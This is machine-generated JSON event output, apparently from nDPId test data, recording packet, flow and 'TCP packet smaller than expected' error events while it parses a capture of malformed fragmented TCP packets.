-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1564,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1565,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":42,"expected":54,"global_ts_usec":1534244025916928} -00345{"packet_event_id":1,"packet_event_name":"packet","packet_id":1565,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":42,"pkt_l4_len":8,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAjIwNTEpKCom"} 00763{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1566,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":6,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1534244026217057,"flow_src_last_pkt_time":1534244026217057,"flow_dst_last_pkt_time":1534244026217057,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":8,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":8,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":8,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1534244026217057,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":24101,"dst_port":9251,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00524{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1566,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_src_last_pkt_time":1534244026217057,"flow_dst_last_pkt_time":1534244026217057,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAl4lJCNAIyQlXiYqKComXiX0OgAA"} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1567,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217098} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1567,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1568,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217106} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1568,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1569,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217114} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1569,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1570,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217122} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1570,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1571,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217140} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1571,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1572,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217229} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1572,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1573,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217237} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1573,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1574,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217245} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1574,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1575,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217253} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1575,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1576,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217261} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1576,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1577,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217268} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1577,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1578,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217276} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1578,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1579,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217288} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1579,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1580,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217301} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1580,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1581,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217314} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1581,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1582,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217327} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1582,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1583,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217339} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1583,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1584,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217351} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1584,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1585,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217362} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1585,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1586,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217375} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1586,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1587,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217387} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1587,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1588,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217399} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1588,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1589,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217407} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1589,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1590,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217420} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1590,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1591,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217435} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":1591,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1592,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217448} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1592,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAj83NDgzOTYpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1593,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217460} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1593,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1594,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217471} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1594,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1595,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217483} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1595,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1596,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217495} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1596,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1597,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217507} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1597,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1598,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217519} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1598,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1599,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217531} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1599,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1600,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217543} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1600,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAjEpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1601,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217575} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1601,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1602,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217626} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1602,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1603,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217633} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":1603,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1604,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217641} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1604,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1605,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217649} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1605,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1606,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217656} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1606,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1607,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026217663} 